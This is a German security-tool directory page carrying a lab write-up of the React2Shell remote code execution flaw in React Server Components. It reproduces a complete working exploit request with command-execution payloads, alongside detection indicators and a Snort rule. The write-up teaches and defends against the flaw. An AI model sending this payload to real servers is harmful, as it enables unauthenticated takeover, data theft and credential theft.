Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
React2Shell-CVE-2025-55182 — React2Shell CVE-2025-55182: nicht authentifizierte unsichere Deserialisierung in React Server Components, die zu zuverlässiger Remote-Codeausführung über das Flight-Protokoll führt. | Kitploit
Tools/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationWebsicherheitCTFPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubadityabhatt3010/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182: nicht authentifizierte unsichere Deserialisierung in React Server Components, die zu zuverlässiger Remote-Codeausführung über das Flight-Protokoll führt.

Repository anzeigen
713vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

🎯 React2Shell (CVE-2025-55182): Von React Server Components zur vollständigen RCE

Schwierigkeit: Mittel → Fortgeschritten
Kategorie: Web-Ausnutzung | Deserialisierung | RCE

Cover


🧩 Aufgabe 1: Einführung — Warum React2Shell eine große Sache ist

CVE-2025-55182, Spitzname React2Shell, ist eine dieser Schwachstellen, die Verteidiger sofort nervös macht 😬. Entdeckt im Dezember 2025, trägt sie einen CVSS-Score von 10.0, was bereits zeigt, dass dies kein Randfallfehler ist.

Im Kern betrifft diese Schwachstelle React Server Components (RSC) und darauf aufbauende Frameworks — am bekanntesten Next.js. Der gruselige Teil?

👉 Unauthentifizierte Remote-Code-Ausführung (RCE) 👉 Ein einzelner manipulierter HTTP-Request 👉 Standardkonfigurationen sind anfällig

Kein Login. Keine besonderen Berechtigungen. Nur eine wohlgeformte Anfrage.

🔥 Betroffene React-Pakete

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack
  • ✅ Behobene Versionen

    • 19.0.1
    • 19.1.2
    • 19.2.1

    Diese Aufgabe führt uns durch warum dieser Fehler existiert, wie er ausgenutzt wird und was Verteidiger dagegen tun können.

    Flagge: Keine Antwort nötig.


    🧠 Aufgabe 2: React Server Components & das Flight-Protokoll

    Vor der Ausnutzung benötigen wir Klarheit über die Architektur.

    Was sind React Server Components?

    React Server Components (eingeführt in React 19) erlauben es, Teile einer React-App auf dem Server auszuführen, nicht im Browser. Das bedeutet:

    • Schwere Berechnungen bleiben serverseitig ⚙️
    • Client erhält nur gerenderte Ausgabe 📦
    • Bessere Leistung, kleinere Bundles

    Einführung: React Flight ✈️

    Die Kommunikation zwischen Client und Server erfolgt über das React Flight-Protokoll. Dieses Protokoll serialisiert Daten auf dem Client und deserialisiert sie auf dem Server.

    Es verwendet spezielle Marker:

    • $@ → Chunk reference

    • $B → Blob reference

    • Property paths via colon notation Example:

      root@kitploit:~
      $1:constructor:constructor
      

    ⚠️ Und genau hier liegt der Fehler in der Serialisierungslogik.

    Frage: Welches Symbol kennzeichnet eine Blob-Referenz? ✅ Antwort: $B


    💣 Aufgabe 3: Die Kernschwachstelle — Unsichere Deserialisierung

    Im Herzen von CVE-2025-55182 liegt ein klassischer unsicherer Deserialisierungsfehler.

    Schauen wir uns das anfällige Muster an (nicht zuschneiden 👇):

    root@kitploit:~
    function requireModule(metadata) {  
     var moduleExports = __webpack_require__(metadata[0]);  
     // ... additional logic ...  
     return moduleExports[metadata[2]];  // VULNERABLE LINE  
    }  
    

    Warum ist das gefährlich?

    In JavaScript, die Klammernotation:

    root@kitploit:~
    obj[someKey]
    

    beschränkt den Zugriff nicht nur auf exportierte Eigenschaften. Sie durchläuft die gesamte Prototypenkette.

    Jetzt kommt die entscheidende Erkenntnis 👀:

    • Jede JavaScript-Funktion hat einen .constructor
    • constructor zeigt auf den Function-Konstruktor
    • Function("code") = beliebige JS-Ausführung

    Bewaffnung von Flight-Referenzen

    Da das Flight-Protokoll durch Doppelpunkte getrennte Pfade erlaubt, kann ein Angreifer senden:

    root@kitploit:~
    $1:constructor:constructor
    

    Was aufgelöst wird zu:

    1. Modul-Chunk holen
    2. Auf .constructor zugreifen
    3. Erneut auf .constructor zugreifen → Function

    An diesem Punkt ist das Spiel vorbei 🎮.

    Flagge: Keine Antwort nötig.


    🧨 Aufgabe 4: Exploitation Chain — Vom Fehler zur RCE

    Jetzt zerlegen wir maple3142's PoC Schritt für Schritt.

    🧩 Stufe 1: Gefälschtes Chunk-Objekt

    Der Angreifer sendet eine Multipart-Anfrage mit einem gefälschten Chunk-Objekt:

    root@kitploit:~
    {  
     "then": "$1:__proto__:then",  
     "status": "resolved_model",  
     "reason": -1,  
     "value": "{\\"then\\":\\"$B1337\\"}",  
     "_response": {  
       "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",  
       "_chunks": "$Q2",  
       "_formData": {  
         "get": "$1:constructor:constructor"  
       }  
     }  
    }
    

    Dieses Objekt ahmt die interne Chunk-Struktur von React nach. Indem then auf Chunk.prototype.then zeigt, wird React dazu verleitet, auf eine angreifergesteuerte Logik zu warten.

    🧩 Stufe 2: Missbrauch des Blob-Handlers

    Der Marker $B1337 löst den Blob-Deserialisierungs-Handler aus, der intern ausführt:

    root@kitploit:~
    response._formData.get(response._prefix + id)
    

    Aber wir haben vergiftet:

    • _formData.get → Function
    • _prefix → bösartiges JS

    Resultierende Ausführung:

    root@kitploit:~
    Function("process.mainModule.require('child_process').execSync('xcalc');1337")
    

    💥 Beliebige JavaScript-Ausführung erreicht.

    🧩 Stufe 3: Betriebssystem-Befehlsausführung

    Der PoC führt aus:

    root@kitploit:~
    process.mainModule
      .require('child_process')
      .execSync('xcalc')
    

    Dies kann trivial ersetzt werden durch:

    • Reverse Shells
    • Geheimnis-Exfiltration
    • Dateiauslesen
    • Diebstahl von Cloud-Anmeldeinformationen ☠️

    Flagge: Keine Antwort nötig.


    📦 Aufgabe 5: Vollständige HTTP-PoC-Aufschlüsselung

    Hier ist die vollständige Exploit-Anfrage (wörtlich, nicht beschnitten):

    root@kitploit:~
    POST / HTTP/1.1  
    Host: localhost  
    Next-Action: x  
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
    
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
    Content-Disposition: form-data; name="0"
    
    {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}  
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
    Content-Disposition: form-data; name="1"
    
    "$@0"  
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
    Content-Disposition: form-data; name="2"
    
    []  
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--  
    
    

    (…Multipart-Body wird fortgesetzt…)

    Wichtige Dinge zu beachten 👇

    • Next-Action-Header löst Server Actions aus
    • multipart/form-data ist obligatorisch
    • $@0 erzeugt eine Selbstreferenz
    • $B1337 löst Blob-Logik aus
    • constructor:constructor führt zu Function

    Dies ist kein Zufall – es ist eine präzise konstruierte Kette.

    🌍 Betroffenes Ökosystem

    • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0

    • Next.js:

      • ≥14.3.0-canary.77
      • All 15.x
      • Early 16.x
    • Others: React Router (RSC), Waku, Redwood SDK

    📊 Wiz-Forschung: 39 % der Cloud-Umgebungen exponiert 🌐 Shodan: 571k+ React-Server, 444k+ Next.js

    Das ist… eine Menge 😶


    🧪 Aufgabe 6: Ausnutzung im Labor

    Zunächst in Repeater eine neue HTTP-Anfrage erstellen und Ziel auswählen.

    1

    Mit Burp Suite Repeater senden wir die Payload:

    root@kitploit:~
    execSync('id')
    

    2

    Und später:

    root@kitploit:~
    execSync('whoami')
    

    3

    ✅ Ergebnisse

    • User: ubuntu

    • Flagge:

      root@kitploit:~
      {React-19.2.0}
      

    Saubere, zuverlässige, wiederholbare Ausnutzung 💀


    🛡️ Aufgabe 7: Erkennung & Verteidigung

    Gute Nachrichten für Verteidiger 👮‍♂️ — die Ausnutzung hinterlässt Fingerabdrücke.

    🔎 Angriffsindikatoren

    • Next-Action header
    • multipart/form-data
    • "status":"resolved_model"
    • "then":"$1:__proto__:then"

    Diese sollten niemals im normalen Benutzerverkehr auftauchen.

    🚨 Snort Rule (v3)

    root@kitploit:~
    alert http any any -> $LAN_NETWORK any (
        msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
        flow:to_server,established;
        content:"Next-Action"; http_header; nocase;
        content:"multipart/form-data"; http_header; nocase;
        pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
        pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
        pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
        classtype:web-application-attack;
        sid:6655001;
        rev:1;
    )
    

    🧾 OSQuery — Auffinden anfälliger Pakete

    root@kitploit:~
    {
      "queries": {
        "detect_rev2shell_react_server_components": {
          "query": "SELECT name, version, path FROM npm_packages WHERE ...",
          "interval": 3600
        }
      }
    }
    

    Perfekt für:

    • CI/CD-Pipelines
    • Endpunkt-Audits
    • Pre-Production-Checks

    4


    🧠 Abschließende Gedanken

    React2Shell ist ein Lehrbuchbeispiel für:

    • Warum unsichere Deserialisierung tödlich ist
    • Wie Prototyp-Ketten dich verraten können
    • Warum „Standardkonfigurationen“ gefährlich sind

    Sobald gepatchte Versionen installiert und die Empfehlungen von npm audit befolgt werden, stirbt der Exploit vollständig ✅.
    ⚠️ Testen Sie dies niemals außerhalb autorisierter Labore.
    🔥 Patchen Sie immer schnell.
    🧠 Verstehen Sie immer warum ein Fehler existiert – nicht nur, wie man ihn ausnutzt.


    ⭐ Folgen Sie mir & Vernetzen

    Wenn Ihnen dieser Bericht gefallen hat oder Sie mit meiner Arbeit in Cybersicherheit, CTFs und VAPT in Verbindung bleiben möchten:

    🔗 GitHub: https://github.com/AdityaBhatt3010
    💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
    ✍️ Medium: https://medium.com/@adityabhatt3010

    Happy Hacking — verantwortungsbewusst 🗿🚀


    Tool herunterladen